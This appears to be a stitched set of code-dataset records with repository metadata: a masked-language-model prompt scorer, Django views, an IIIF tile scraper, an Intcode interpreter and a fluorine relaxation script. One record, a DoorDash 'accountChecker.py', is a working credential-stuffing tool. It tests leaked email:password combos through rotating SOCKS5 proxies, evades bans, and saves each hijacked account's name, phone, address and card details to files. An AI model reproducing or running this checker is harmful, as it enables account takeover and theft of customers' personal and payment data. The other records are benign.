return_tensors='pt' ) input_ids = encoding['input_ids'].to(self.device) attention_mask = encoding['attention_mask'].to(self.device) # The model needs the masks_to_predict_pos masks_to_predict_pos = self.find_masks_pos(input_ids) score_mask1 = self._compute_model_score(input_ids, attention_mask, masked_token_ids_1, masks_to_predict_pos[mask1_rank - 1]) score_mask2 = self._compute_model_score(input_ids, attention_mask, masked_token_ids_2, masks_to_predict_pos[mask2_rank - 1]) transf_score_dict[key] = [score_mask1, score_mask2] scores_dict[transf] = transf_score_dict return scores_dict def _compute_model_score(self, input_ids, attention_mask, masked_token_ids, masks_to_predict_pos): # Compute the probabilities and ranks from the model with torch.no_grad(): probs_n_ranks = self.model.compute_greedy(input_ids, attention_mask, masks_to_predict_pos, masked_token_ids) # Compute scores score = probs_n_ranks[:,0].prod() return score def batch_compute_one_pair_scores(self, words): """ expect words = [HYPONYM, NOUN] returns : dict -> key transf value dict -> keys idx_{det1}-idx_{det2}-idx_{struct_prefix}-idx_{struct_middle}-idx_{struct_suffix} value [score_mask1, score_mask2] """ # Tokenize the words to know the number of masks to add word1, word2 = words masked_token_ids_1 = self.tokenizer(word1, return_tensors='pt')['input_ids'][:,1:-1].repeat(len(self.list_of_keys),1).to(self.device) masked_token_ids_2 = self.tokenizer(word2, return_tensors='pt')['input_ids'][:,1:-1].repeat(len(self.list_of_keys),1).to(self.device) N_masks_1 = masked_token_ids_1.shape[1] N_masks_2 = masked_token_ids_2.shape[1] # Construct sentences scores_dict = {} for transf in self.transformations_names: transf_score_dict = {} sentences = [] mask1_ranks, mask2_ranks = [], [] for key in self.list_of_keys: vanilla_sentence = self.dict_of_prompts[key] sentence, mask1_rank, mask2_rank = self.phi(vanilla_sentence, transf, N_masks_1, N_masks_2) sentences.append(sentence) mask1_ranks.append(mask1_rank) mask2_ranks.append(mask2_rank) # Compute input_ids and attention_mask of the sentence encoding = self.tokenizer(sentences, padding = True, return_tensors='pt' ) input_ids = encoding['input_ids'].to(self.device) attention_mask = encoding['attention_mask'].to(self.device) # The model needs the masks_to_predict_pos masks_to_predict_pos = self.batch_find_masks_pos(input_ids) # We suppose this is ok scores_mask1 = self._batch_compute_model_score(input_ids, attention_mask, masked_token_ids_1, self.helper(masks_to_predict_pos, mask1_ranks).to(self.device)) scores_mask2 = self._batch_compute_model_score(input_ids, attention_mask, masked_token_ids_2, self.helper(masks_to_predict_pos, mask2_ranks).to(self.device)) for idx in range(len(self.list_of_keys)): key = self.list_of_keys[idx] transf_score_dict[key] = [scores_mask1[idx].item(), scores_mask2[idx].item()] scores_dict[transf] = transf_score_dict return scores_dict def _batch_compute_model_score(self, input_ids, attention_mask, masked_token_ids, masks_to_predict_pos): # Compute the probabilities and ranks from the model with torch.no_grad(): probs = self.model.batch_compute_greedy(input_ids, attention_mask, masks_to_predict_pos, masked_token_ids) # Compute scores scores = probs.prod(dim=1) # shape [batch_size = len(self.list_of_keys)] return scores def batch_find_masks_pos(self, ids_seq): masks_pos = torch.where(ids_seq == 103)[1] pos_clusters = [] cluster = [] for k in range(masks_pos.shape[0]): cluster.append(masks_pos[k]) if (k < len(masks_pos) -1) and (masks_pos[k] + 1 != masks_pos[k + 1]): #The next mask pos does not follow the previous one pos_clusters.append(torch.LongTensor(cluster)) cluster = [] pos_clusters.append(torch.LongTensor(cluster)) return pos_clusters def helper(self, list_of_tensors, mask_rank): batch_size = len(self.list_of_keys) mask_pos = [] for k in range(batch_size): mask_pos.append(list_of_tensors[2*k:2*k+2][mask_rank[k] - 1]) return torch.cat(mask_pos) def find_masks_pos(self, ids_seq): """ Compute all mask_token positions in the sequence, then divide it into clusters (following sequence) and returns the mask_rank^th cluster. """ def find_all_masks_pos(ids_seq): pos = [] for k in range(ids_seq.shape[1]): if ids_seq[0][k] == 103: pos.append(k) return pos all_masks_pos = find_all_masks_pos(ids_seq) pos_clusters = [] cluster = [] for k in range(len(all_masks_pos)): cluster.append(all_masks_pos[k]) if (k < len(all_masks_pos) -1) and (all_masks_pos[k] + 1 != all_masks_pos[k + 1]): #The next mask pos does not follow the previous one pos_clusters.append(cluster) cluster = [] pos_clusters.append(cluster) return pos_clusters def phi(self, vanilla_sentence, transf, N_masks_1, N_masks_2): """ Take a sentence s and returns phi(s) and the rank of mask1 (cf. google doc.) The template vanilla is something like : "MASK1 is MASK2" thus MASK1 is rank 1 and MASK2 is rank 2 Whereas for the transformation opposite : "MASK2 is MASK1" thus MASK1 is rank 2 and MASK2 is rank 1 """ if transf == 'vanilla': sentence = vanilla_sentence.replace('<WORD1>', N_masks_1*self.tokenizer.mask_token).replace('<WORD2>', N_masks_2*self.tokenizer.mask_token) mask1_rank, mask2_rank = 1, 2 elif transf == 'opposite': sentence = vanilla_sentence.replace('<WORD1>', N_masks_2*self.tokenizer.mask_token).replace('<WORD2>', N_masks_1*self.tokenizer.mask_token) mask1_rank, mask2_rank = 2, 1 elif transf == 'reverse': sentence = vanilla_sentence.replace('<WORD1>', N_masks_2*self.tokenizer.mask_token).replace('<WORD2>', N_masks_1*self.tokenizer.mask_token) mask1_rank, mask2_rank = 2, 1 return sentence, mask1_rank, mask2_rank ####################################### # # # LOGICAL # # # ####################################### class LogicalPromptScorer: def __init__(self, model = None, tokenizer = None, device = None, dataset_name = ''): # Model used to compute scores self.model = model self.tokenizer = tokenizer self.device = device # Load prompts materials self.dets_list = DETS_LIST self.structs_dict = {'prefixes': LOGICAL_PREFIXES_LIST, 'struct_lw': LOGICAL_STRUCTS_LW_LIST} # Define template self.vanilla_template = '<PREFIX1> <DET1> <WORD1> <STRUCT_LW> <LW> <PREFIX2> <DET2> <WORD2>.' self.key_template = '<det1>-<det2>-<prefixes>-<struct_lw>' # Compute keys self._compute_keys() # Where to save data self.filename = 'prompts\\scores\\logical_prompts_scores_{}'.format(dataset_name) # Compute Prompts self.create_prompts() def _compute_keys(self): """ Compute all the possible keys in the form idx_{det1}-idx_{det2}-idx_{prefixes}-idx_{struct_lw} """ N_dets = len(self.dets_list) N_prefixes = len(self.structs_dict['prefixes']) N_struct_lw = len(self.structs_dict['struct_lw']) list_of_keys = [] for idx_det1 in range(N_dets): for idx_det2 in range(N_dets): for idx_prefixes in range(N_prefixes): for idx_struct_lw in range(N_struct_lw): key = self.key_template.replace('<det1>', str(idx_det1)).replace('<det2>', str(idx_det2)) key = key.replace('<prefixes>', str(idx_prefixes)).replace('<struct_lw>', str(idx_struct_lw)) list_of_keys.append(key) self.list_of_keys = list_of_keys def _from_key_to_words(self, key): """ Expect a key of the form idx_{det1}-idx_{det2}-idx_{struct_prefix}-idx_{struct_middle}-idx_{struct_suffix} """ list_of_idx = [int(idx) for idx in key.split('-')] det1 = self.dets_list[list_of_idx[0]] det2 = self.dets_list[list_of_idx[1]] prefixes = self.structs_dict['prefixes'][list_of_idx[2]] struct_lw = self.structs_dict['struct_lw'][list_of_idx[3]] return [det1, det2, prefixes, struct_lw] def _create_prompt(self, dets, prefixes, struct_lw): det1, det2 = dets prefix1, prefix2 = prefixes # Sentence in the right order "This is a seagull, therefore it is a bird." sentence = self.vanilla_template.replace('<DET1>', det1).replace('<DET2>', det2) sentence = sentence.replace('<PREFIX1>', prefix1).replace('<PREFIX2>', prefix2).replace('<STRUCT_LW>', struct_lw) # Sentence in the reverse order "It is a bird, therefore this is a seagull." sentence_reverse = self.vanilla_template.replace('<DET1>', det2).replace('<DET2>', det1) sentence_reverse = sentence_reverse.replace('<PREFIX1>', prefix2).replace('<PREFIX2>', prefix1).replace('<STRUCT_LW>', struct_lw) return sentence, sentence_reverse def create_prompts(self): """ Returns : keys idx_{det1}-idx_{det2}-idx_{prefixes}-idx_{struct_lw} value [sentence, sentence_reverse] """ dict_of_prompts = {} for key in self.list_of_keys: words_from_keys = self._from_key_to_words(key) dets, prefixes, struct_lw = words_from_keys[0:2], words_from_keys[2], words_from_keys[3] sentence, sentence_reverse = self._create_prompt(dets, prefixes, struct_lw) dict_of_prompts[key] = [sentence, sentence_reverse] self.dict_of_prompts = dict_of_prompts def compute_all_pairs_scores(self, logical_words, list_of_words): """ expect words = list of pairs [HYPONYM, NOUN] returns : dict -> key "HYPONYM---NOUN" value dict -> keys idx_{det1}-idx_{det2}-idx_{prefixes}-idx_{struct_lw} value [[score_lw for lw in logical_words], [score_reverse_lw for lw in logical_words]] """ # Tokenize the logical words logical_words_ids = [] for lw in logical_words: input_ids = self.tokenizer(lw)['input_ids'][1:-1] assert len(input_ids) == 1 # We only keep logical words mapped to a single token logical_words_ids.append(input_ids[0]) # Compute Prompts Scores if os.path.exists(self.filename): # Previous save savefile = open(self.filename, 'rb') all_pairs_scores_dict = pickle.load(savefile) savefile.close() else: all_pairs_scores_dict = {} num_treated = 0 for words in tqdm.tqdm(list_of_words, total = len(list_of_words)): word1, word2 = words key = word1 + '---' + word2 if key in all_pairs_scores_dict.keys(): # If we have already computed this key go to the next continue scores_dict = self.batch_compute_one_pair_scores(logical_words_ids, words) all_pairs_scores_dict[key] = scores_dict num_treated += 1 if num_treated % 20000 == 0: # Save from time to time savefile = open(self.filename, 'wb') pickle.dump(all_pairs_scores_dict, savefile) savefile.close() self.all_pairs_scores_dict = all_pairs_scores_dict # Save scores savefile = open(self.filename, 'wb') pickle.dump(all_pairs_scores_dict, savefile) savefile.close() def compute_one_pair_scores(self, logical_words_ids, words): """ expect words = [HYPONYM, NOUN] returns : dict -> keys idx_{det1}-idx_{det2}-idx_{prefixes}-idx_{struct_lw} value [[score_lw for lw in logical_words], [score_reverse_lw for lw in logical_words]] """ word1, word2 = words # Construct sentences scores_dict = {} for key in self.list_of_keys: sentence, sentence_reverse = self.dict_of_prompts[key] sentence = sentence.replace('<WORD1>', word1).replace('<WORD2>', word2).replace('<LW>', self.tokenizer.mask_token) sentence_reverse = sentence_reverse.replace('<WORD1>', word2).replace('<WORD2>', word1).replace('<LW>', self.tokenizer.mask_token) # Compute scores for sentence encoding = self.tokenizer(sentence, return_tensors='pt' ) input_ids = encoding['input_ids'].to(self.device) attention_mask = encoding['attention_mask'].to(self.device) mask_pos = self.find_mask_pos(input_ids) scores = self._compute_model_score(input_ids, attention_mask, logical_words_ids, mask_pos) # Compute scores for sentence_reverse encoding_reverse = self.tokenizer(sentence_reverse, return_tensors='pt' ) input_ids_reverse = encoding_reverse['input_ids'].to(self.device) attention_mask_reverse = encoding_reverse['attention_mask'].to(self.device) mask_pos_reverse = self.find_mask_pos(input_ids_reverse) scores_reverse = self._compute_model_score(input_ids_reverse, attention_mask_reverse, logical_words_ids, mask_pos_reverse) scores_dict[key] = [scores, scores_reverse] return scores_dict def batch_compute_one_pair_scores(self, logical_words_ids, words): """ expect words = [HYPONYM, NOUN] returns : dict -> keys idx_{det1}-idx_{det2}-idx_{prefixes}-idx_{struct_lw} value [[score_lw for lw in logical_words], [score_reverse_lw for lw in logical_words]] """ word1, word2 = words # Construct sentences scores_dict = {} sentences = [] for key in self.list_of_keys: sentence, sentence_reverse = self.dict_of_prompts[key] sentence = sentence.replace('<WORD1>', word1).replace('<WORD2>', word2).replace('<LW>', self.tokenizer.mask_token) sentence_reverse = sentence_reverse.replace('<WORD1>', word2).replace('<WORD2>', word1).replace('<LW>', self.tokenizer.mask_token) sentences.append(sentence) sentences.append(sentence_reverse) # Compute scores for sentence encoding = self.tokenizer(sentences, padding = True, return_tensors='pt') input_ids = encoding['input_ids'].to(self.device) attention_mask = encoding['attention_mask'].to(self.device) mask_pos = self.find_mask_pos(input_ids) scores = self._batch_compute_model_score(input_ids, attention_mask, logical_words_ids, mask_pos) for k in range(len(self.list_of_keys)): key = self.list_of_keys[k] scores_dict[key] = [scores[2*k], scores[2*k + 1]] return scores_dict def _compute_model_score(self, input_ids, attention_mask, masked_token_ids, mask_pos): # Compute the probabilities and ranks from the model with torch.no_grad(): probs_n_ranks = self.model.compute_multiple_mono_token(input_ids, attention_mask, mask_pos, masked_token_ids) # Compute scores scores = probs_n_ranks[:,0] # drop rank return scores def _batch_compute_model_score(self, input_ids, attention_mask, masked_token_ids, mask_pos): # Compute the probabilities and ranks from the model with torch.no_grad(): probs = self.model.compute_batch_multiple_mono_token(input_ids, attention_mask, mask_pos, masked_token_ids) return probs def find_mask_pos(self, ids_seq): return torch.where(ids_seq == 103)[1]

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d3969c2344d1fd1927504d6b7d57dcf4c82c4a97

5,420

py

Python

eCommerce/DoorDash/accountChecker.py

MiyakoYakota/PythonCheckers

275c8b674e3ee284548fcd0512f432792e0d8b6d

[ "Unlicense" ]

5

2021-02-24T23:37:52.000Z

2021-08-18T06:39:30.000Z

eCommerce/DoorDash/accountChecker.py

MiyakoYakota/PythonCheckers

275c8b674e3ee284548fcd0512f432792e0d8b6d

[ "Unlicense" ]

null

eCommerce/DoorDash/accountChecker.py

MiyakoYakota/PythonCheckers

275c8b674e3ee284548fcd0512f432792e0d8b6d

[ "Unlicense" ]

1

2021-03-26T06:21:20.000Z

import requests import random import json from multiprocessing import Pool # Multi-Threading from multiprocessing import freeze_support # Windows Support requests.packages.urllib3.disable_warnings() accounts = [line.rstrip('\n') for line in open("combo.txt", 'r')] proxies = [line.rstrip('\n') for line in open("proxies.txt", 'r')] workingJson = [] headers = { 'Content-Type': 'application/json', } def generateSocks5ProxyUrl(ip, port, username=None, password=None): if(username and password): return { 'http': f"socks5://{username}:{password}@{ip}:{port}", 'https': f"socks5://{username}:{password}@{ip}:{port}" } else: return { 'http': f"socks5://{ip}:{port}", 'https': f"socks5://{ip}:{port}" } def generateLoginPayload(email, password): return { "email": email, "password": password } def createOutputString(email, password, first_name, last_name, phone_number, account_credits, printable_address, default_card_type, default_card_exp_month, default_card_exp_year, default_card_last4, show_alcohol_experience): response = f"{email}:{password} | " if first_name and last_name: response += f"Name: {first_name} {last_name} | " if phone_number: response += f"Phone Number: {phone_number} | " if account_credits: response += f"Account Credits: {account_credits} | " if printable_address: response += f"Default Address: {printable_address} | " if default_card_type and default_card_exp_month and default_card_exp_year and default_card_last4: response += f"Default Card: {default_card_type}*{default_card_last4} Expires {default_card_exp_month}/{default_card_exp_year} | " if show_alcohol_experience: response += F"Alcohol Allowed: {str(show_alcohol_experience)} |" response = response[:-2] + "\n" return response def checkAccount(account): global proxies proxy = random.choice(proxies) ip, port, username, password = proxy.split(':') userEmail, userPassword = account.split(':') proxyUrl = generateSocks5ProxyUrl(ip, port, username, password) try: response = requests.post('https://api.doordash.com/v2/auth/web_login/', proxies=proxyUrl, headers=headers, data=json.dumps(generateLoginPayload(userEmail, userPassword))) if (response.status_code == 403 or response.status_code == 406 or 'Access Denied' in response.text): print(f"[Cloudflare Banned Proxy] {proxy}") elif ('Login banned due to violation of terms of service' in response.text): print(f"[Banned Proxy] {proxy}") proxies.remove(proxy) elif ('id' in response.text): # Convert response to JSON userData = response.json() # Inject the user's password into the response object userData['password'] = userPassword # User's Personal Info first_name = userData['first_name'] or None last_name = userData['last_name'] or None phone_number = userData['phone_number'] or None # Account Credits account_credits = userData['account_credits'] or None # Default Address Info default_address = userData['default_address'] or None if default_address: printable_address = default_address['printable_address'] or None else: printable_address = None # Default Card Info default_card = userData['default_card'] or None if default_card: default_card_type = default_card['type'] or None default_card_exp_month = default_card['exp_month'] or None default_card_exp_year = default_card['exp_year'] or None default_card_last4 = default_card['last4'] or None else: default_card_type = None default_card_exp_month = None default_card_exp_year = None default_card_last4 = None # Can recieve alcohol show_alcohol_experience = userData['show_alcohol_experience'] or None # Combine into one string outputString = createOutputString(userEmail, userPassword, first_name, last_name, phone_number, account_credits, printable_address, default_card_type, default_card_exp_month, default_card_exp_year, default_card_last4, show_alcohol_experience) print(f"[Good Account] {outputString}") try: with open('out.txt', 'a') as f: f.write(outputString) f.close() except: print('[Write Fail] Failed to write account information to working file') try: workingJson.append(response.json()) with open('data.json', 'w') as outfile: json.dump(workingJson, outfile) outfile.close() except: print('[Write Fail] Failed to write account information to JSON') except Exception as e: print(f'[Checking Failed] {e}') def main(): numThreads = input("How many threads would you like to use? ") freeze_support() pool = Pool(int(numThreads)) pool.map(checkAccount, accounts) pool.close() pool.join() if __name__ == "__main__": main()

43.015873

254

0.632103

616

5,420

5.350649

0.261364

0.110134

0.059466

0.040352

0.257282

0.209041

0.182646

0.135619

0.124393

0

0.005525

0.265314

5,420

126

255

43.015873

0.8222

0.042066

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0.102804

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0.2088

0.04342

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1

0.046729

false

0.130841

0.046729

0.009346

0.130841

0.11215

0

null

0

null

0

1

0

1

d3979bc7f150cc1b30133b1b6f53958cab7914a1

1,732

py

Python

resource/views.py

madre/PersonalWeb

27d88a3c6c4f86028887b0455b60eceeeb663e25

[ "Apache-2.0" ]

null

resource/views.py

madre/PersonalWeb

27d88a3c6c4f86028887b0455b60eceeeb663e25

[ "Apache-2.0" ]

null

resource/views.py

madre/PersonalWeb

27d88a3c6c4f86028887b0455b60eceeeb663e25

[ "Apache-2.0" ]

null

#coding=utf-8 """ __create_time__ = '13-10-18' __author__ = 'Madre' """ from django.shortcuts import get_object_or_404 from django.views.generic import ListView, DetailView from resource.models import Resource, Topic class ResourceListView(ListView): context_object_name = 'resource_list' template_name = "resource_list.html" model = Resource def get_context_data(self, **kwargs): context = super(ResourceListView, self).get_context_data(**kwargs) context["topic_list"] = Topic.objects.all() return context class ResourceDetailView(DetailView): context_object_name = 'resource' model = Resource template_name = "resource_detail.html" def get_object(self): resource = get_object_or_404(Resource, pk=self.kwargs['pk']) return resource def get_context_data(self, **kwargs): context = super(ResourceDetailView, self).get_context_data(**kwargs) context["topic_list"] = Topic.objects.all() return context class DocsResourceView(ListView): context_object_name = 'resource_list' template_name = "resource_docs.html" model = Resource def get_queryset(self): return Resource.objects.filter(resource_type__slug="docs") class TopicDetailView(DetailView): context_object_name = 'topic' model = Topic template_name = "topic_detail.html" def get_object(self): topic = get_object_or_404(Topic, pk=self.kwargs['pk']) return topic def get_context_data(self, **kwargs): context = super(TopicDetailView, self).get_context_data(**kwargs) context["topic_list"] = Topic.objects.all() return context

29.355932

77

0.680139

199

1,732

5.633166

0.256281

0.064228

0.074933

0.037467

0.521855

0.457627

0.41124

0.37645

0.190901

0

0.011826

0.218822

1,732

59

78

29.355932

0.816704

0.035797

0

0.410256

0

0.093458

0

1

0.153846

false

0

0.076923

0.025641

0.794872

0

null

0

null

0

1

0

1

d3a01df5042d3b5b926bb9ab84e5cc8b7a1afdf6

1,304

py

Python

tilescraper.py

azaroth42/iiif-harvester

42202bb2edfbaceab594755b26ee75a81baa7212

[ "Apache-2.0" ]

2

2015-08-14T07:36:33.000Z

2019-03-18T00:10:02.000Z

tilescraper.py

azaroth42/iiif-harvester

42202bb2edfbaceab594755b26ee75a81baa7212

[ "Apache-2.0" ]

null

tilescraper.py

azaroth42/iiif-harvester

42202bb2edfbaceab594755b26ee75a81baa7212

[ "Apache-2.0" ]

null

from PIL import Image import json, StringIO, requests import time import robotparser import re import sys host = "http://dlss-dev-azaroth.stanford.edu/" service = host + "services/iiif/f1rc/" resp = requests.get(service + "info.json") js = json.loads(resp.text) h = js['height'] w = js['width'] img = Image.new("RGB", (w,h), "white") ## Respect tile dimensions of server tilesize = 1024 if js.has_key('tiles'): tilesize = js['tiles'][0]['width'] ## Introduce baseline crawl delay delay = 1 ## Parse robots.txt resp = requests.get(host + "/robots.txt") if resp.status_code == 200: parser = robotparser.RobotFileParser() parser.parse(resp.text) okay = parser.can_fetch("*", service) if not okay: print "Blocked by robots.txt" sys.exit() # No support for Crawl-delay extension ... just search cd = re.compile("Crawl-delay: ([0-9]+)") m = cd.search(resp.text) if m: delay = int(m.groups()[0]) for x in range(w/tilesize+1): for y in range(h/tilesize+1): region = "%s,%s,%s,%s" % (x*tilesize, y*tilesize, tilesize, tilesize) tileresp = requests.get(service + ("/%s/full/0/default.jpg" % region)) tile = Image.open(StringIO.StringIO(tileresp.content)) img.paste(tile, (x*tilesize,y*tilesize)) sys.stdout.write('.') sys.stdout.flush() time.sleep(delay) img.save("full.jpg")

25.076923

72

0.680982

200

1,304

4.425

0.495

0.037288

0.033898

0.040678

0

0.014286

0.141104

1,304

51

73

25.568627

0.775893

0.102761

0

0.167959

0.018949

0

null

0

0.153846

null

0.025641

0

null

0

null

0

1

0

1

d3a1a2d7710ed6f28bb8bbf86045de75345d5240

348

py

Python

api/mira/api_config.py

tnc-ca-geo/animl-ml

95aeb1e99fddf7199692144ef3425340d6b8dc3c

[ "MIT" ]

1

2020-03-28T02:10:25.000Z

api/mira/api_config.py

tnc-ca-geo/animl-ml

95aeb1e99fddf7199692144ef3425340d6b8dc3c

[ "MIT" ]

46

2020-03-18T22:44:30.000Z

2022-03-12T00:51:44.000Z

api/mira/api_config.py

tnc-ca-geo/animl-ml

95aeb1e99fddf7199692144ef3425340d6b8dc3c

[ "MIT" ]

null

""" MIRA API config """ MODELS = [ { "endpoint_name": "mira-large", "classes": ["fox", "skunk", "empty"] }, { "endpoint_name": "mira-small", "classes": ["rodent", "empty"] } ] HEADERS = { "Access-Control-Allow-Origin": "*", "Access-Control-Allow-Headers": "Content-Type", "Access-Control-Allow-Methods": "POST" }

17.4

51

0.566092

35

348

5.571429

0.628571

0.2

0.276923

0

0.198276

348

20

52

17.4

0.698925

0.043103

0

0.564417

0.254601

0

1

0

false

0

null

0

1

0

null

0

1

d3a22369e4aa53efec521f3dd343a0ada49809f4

3,545

py

Python

AdventOfCode2019/day05.py

Matematik411/Advent-of-Code-Practice

f556ae8b84526368184f72a811949ec1fd4b686e

[ "MIT" ]

null

AdventOfCode2019/day05.py

Matematik411/Advent-of-Code-Practice

f556ae8b84526368184f72a811949ec1fd4b686e

[ "MIT" ]

null

AdventOfCode2019/day05.py

Matematik411/Advent-of-Code-Practice

f556ae8b84526368184f72a811949ec1fd4b686e

[ "MIT" ]

null

class Int_code: def __init__(self, s, inputs): memory = {} nrs = map(int, s.split(",")) for i, x in enumerate(nrs): memory[i] = x self.memory = memory self.inputs = inputs def set(self, i, x): self.memory[i] = x def one(self, a, b, c, modes): if modes % 10 == 0: a = self.memory[a] modes //= 10 if modes % 10 == 0: b = self.memory[b] self.memory[c] = a + b def two(self, a, b, c, modes): if modes % 10 == 0: a = self.memory[a] modes //= 10 if modes % 10 == 0: b = self.memory[b] self.memory[c] = a * b def three(self, a, modes): x = self.inputs.pop(0) self.memory[a] = x def four(self, a, modes): if modes % 10 == 0: a = self.memory[a] print(a) def five(self, a, b, modes): if modes % 10 == 0: a = self.memory[a] modes //= 10 if modes % 10 == 0: b = self.memory[b] if a != 0: return (True, b) else: return (False, 0) def six(self, a, b, modes): if modes % 10 == 0: a = self.memory[a] modes //= 10 if modes % 10 == 0: b = self.memory[b] if a == 0: return (True, b) else: return (False, 0) def seven(self, a, b, c, modes): if modes % 10 == 0: a = self.memory[a] modes //= 10 if modes % 10 == 0: b = self.memory[b] self.memory[c] = 1 if (a < b) else 0 def eight(self, a, b, c, modes): if modes % 10 == 0: a = self.memory[a] modes //= 10 if modes % 10 == 0: b = self.memory[b] self.memory[c] = 1 if (a == b) else 0 def run(self, start): i = start while True: c = self.memory[i] modes = c // 100 c %= 100 # print(i, self.memory[i]) if c == 99: break elif c == 1: self.one(self.memory[i+1], self.memory[i+2], self.memory[i+3], modes) i += 4 elif c == 2: self.two(self.memory[i+1], self.memory[i+2], self.memory[i+3], modes) i += 4 elif c == 3: self.three(self.memory[i+1], modes) i += 2 elif c == 4: self.four(self.memory[i+1], modes) i += 2 elif c == 5: sol = self.five(self.memory[i+1], self.memory[i+2], modes) if sol[0]: i = sol[1] else: i += 3 elif c == 6: sol = self.six(self.memory[i+1], self.memory[i+2], modes) if sol[0]: i = sol[1] else: i += 3 elif c == 7: self.seven(self.memory[i+1], self.memory[i+2], self.memory[i+3], modes) i += 4 elif c == 8: self.eight(self.memory[i+1], self.memory[i+2], self.memory[i+3], modes) i += 4 return self.memory[0] start = input() # part one inputs_1 = [1] computer = Int_code(start, inputs_1) computer.run(0) # part two inputs_2 = [5] computer = Int_code(start, inputs_2) computer.run(0) # # test # inputs = [3] # computer = Int_code(start, inputs) # computer.run(0)

27.695313

87

0.414386

486

3,545

2.997942

0.121399

0.2814

0.158545

0.089224

0.663006

0.609472

0.557996

0

0.059271

0.443159

3,545

127

88

27.913386

0.678825

0.031594

0

0.486486

0

0.000292

0

1

0.099099

false

0

0.153153

0.009009

0

null

1

0

null

0

1

d3a3af9d53824b3acab405765cd51062c38ff21a

4,177

py

Python

fluorelax/fluorelax.py

darianyang/fluorelax

4ca816aa157f23c84eb4cc6085200668723d1426

[ "BSD-3-Clause" ]

null

fluorelax/fluorelax.py

darianyang/fluorelax

4ca816aa157f23c84eb4cc6085200668723d1426

[ "BSD-3-Clause" ]

null

fluorelax/fluorelax.py

darianyang/fluorelax

4ca816aa157f23c84eb4cc6085200668723d1426

[ "BSD-3-Clause" ]

1

2022-03-27T18:24:49.000Z

""" Main call. TODO: - parallize the mda processing portion? (dask) """ import numpy as np import matplotlib.pyplot as plt import MDAnalysis as mda from command_line import create_cmd_arguments, handle_command_line from calc_relax import Calc_19F_Relaxation from calc_fh_dists import Calc_FH_Dists from plot_relax import Plot_Relaxation # if python file is being used if __name__ == '__main__': # args_list to save time for now (TODO) magnet = 14.1 # Tesla (600 MHz of 1H+) tc = 8.2e-9 # 8.2ns for CypA, tc in sec """ Command line """ # Create command line arguments with argparse argument_parser = create_cmd_arguments() # Retrieve list of args args = handle_command_line(argument_parser) # TODO: hack for now, later put as seperate args? # CSA tensors for 4F-Trp if args.system == "w4f": sgm11 = 11.2 sgm22 = -48.3 sgm33 = -112.8 elif args.system == "w5f": sgm11 = 4.8 sgm22 = -60.5 sgm33 = -86.1 elif args.system == "w6f": sgm11 = 12.9 sgm22 = -51.2 sgm33 = -91.6 elif args.system == "w7f": sgm11 = 4.6 sgm22 = -48.3 sgm33 = -123.3 """ Load trajectory or pdb data and calc all F-H distances. # TODO: do for each frame, also test with water """ # TODO: for big trajectories, can't load in_memory, must stream it but this can be slow traj = mda.Universe(args.parm, args.crd, in_memory=True, in_memory_step=args.step_size) fh_dist_base = Calc_FH_Dists(traj, dist=3).run() """ For each distance value, calculate the R1 and R2 value. """ # TODO: update to ndarrays, maybe make into function, seperate script? # test speed and optimize # TODO: make this able to take multiple files and find stdev, maybe a seperate proc function # array of size frames x 3 columns (frame, avg R1, avg R2) # TODO: add stdev? r1_r2 = np.zeros(shape=(len(fh_dist_base.results[:,1:]), 3)) r1_r2[:, 0] = fh_dist_base.results[:,0] # Here: calling each calc class seperately and only sum the dd contributions, csa is not dependent # note this new implementation is alot slower... (compared to having just one calc_relax and averaging later) # but not sure, didn't test the difference for num, dists in enumerate(fh_dist_base.results[:,1:]): calc_relax = Calc_19F_Relaxation(tc, magnet, sgm11, sgm22, sgm33) r1_csa = calc_relax.calc_csa_r1() r2_csa = calc_relax.calc_csa_r2() # TODO: these are relatively small lists, may not need to change to ndarray # but if I do, then I need to cut out the NaN or zero values before the np.mean step r1_dd = 0 r2_dd = 0 for fh_dist in dists: if fh_dist == 0: continue # TODO: is there a better way to do this? # instantiate the calc_relax class and then call individual class methods calc_relax = Calc_19F_Relaxation(tc, magnet, sgm11, sgm22, sgm33, fh_dist) # sum each dd contribution r1_dd += calc_relax.calc_dd_r1() r2_dd += calc_relax.calc_dd_r2() # fill in col 1 (R1), col 2 (R2) r1_r2[num, 1] = r1_dd + r1_csa r1_r2[num, 2] = r2_dd + r2_csa # test seperate values print(r1_dd, r1_csa) print(r2_dd, r2_csa) """ Save the frame, avg and stdev R1 and R2 data as a tsv? """ if args.output_file is not None: np.savetxt(args.output_file, r1_r2, delimiter="\t") """ Plot the R1 and R2 data. """ # plt.plot(fh_dist_base.results[:,0], r1_r2[:,0]) # plt.plot(fh_dist_base.results[:,0], r1_r2[:,1]) plt.plot(r1_r2[:, 0], r1_r2[:, 1]) plt.plot(r1_r2[:, 0], r1_r2[:, 2]) print(f"R1-AVG={np.mean(r1_r2[:,1])}\nR2-AVG={np.mean(r1_r2[:,2])}") #plt.hlines(1.99, xmin=0, xmax=fh_dist_base.results[-1,0]) # R1 #plt.hlines(109.1, xmin=0, xmax=fh_dist_base.results[-1,0]) # R2 plt.show() # plotter class # plotter = Plot_Relaxation(r1_r2, "dist") # plotter.plot_r2() # plt.show()

33.95935

113

0.620541

657

4,177

3.782344

0.357686

0.025755

0.032193

0.047887

0.160161

0.098994

0.055131

0

0.063487

0.272205

4,177

122

114

34.237705

0.753947

0.374431

0

0.037037

0

0.018519

0.035794

0.025951

0

0.04918

0

1

0

false

0

0.12963

0

0.12963

0.055556

0

null

0

null

0

1

0

1

d3aa5533cd819bec8e09e75cda19441c06cdc1f9

269

py

Python

api/admin_urls.py

chenxiaoli/auth21

a2b15ecb883416e011da03d6ec066459fa28f693

[ "MIT" ]

null

api/admin_urls.py

chenxiaoli/auth21

a2b15ecb883416e011da03d6ec066459fa28f693

[ "MIT" ]

null

api/admin_urls.py

chenxiaoli/auth21

a2b15ecb883416e011da03d6ec066459fa28f693

[ "MIT" ]

null

# -*- coding: utf-8 -*- from django.conf.urls import include, url from .user_admin_views import UserAdminListViewSet user_admin_list=UserAdminListViewSet.as_view({ "get":"get" }) urlpatterns = ( url(r'^user$', user_admin_list, name='user-admin-list'), )

15.823529

60

0.702602

35

269

5.2

0.6

0.197802

0.214286

0

0.004348

0.144981

269

16

61

16.8125

0.786957

0.078067

0

0.109756

0

1

0

false

0

0.25

0

0.25

0

null

0

1

0

null

0

1

d3ab32f767c6d6e9a4d044cf91516005f20c48e6

1,236

py

Python

awsf_cwl_v1/split_num.py

pkerpedjiev/tibanna

8d8333bc7757076914c2bafbd68ee24c4ad611f6

[ "MIT" ]

null

awsf_cwl_v1/split_num.py

pkerpedjiev/tibanna

8d8333bc7757076914c2bafbd68ee24c4ad611f6

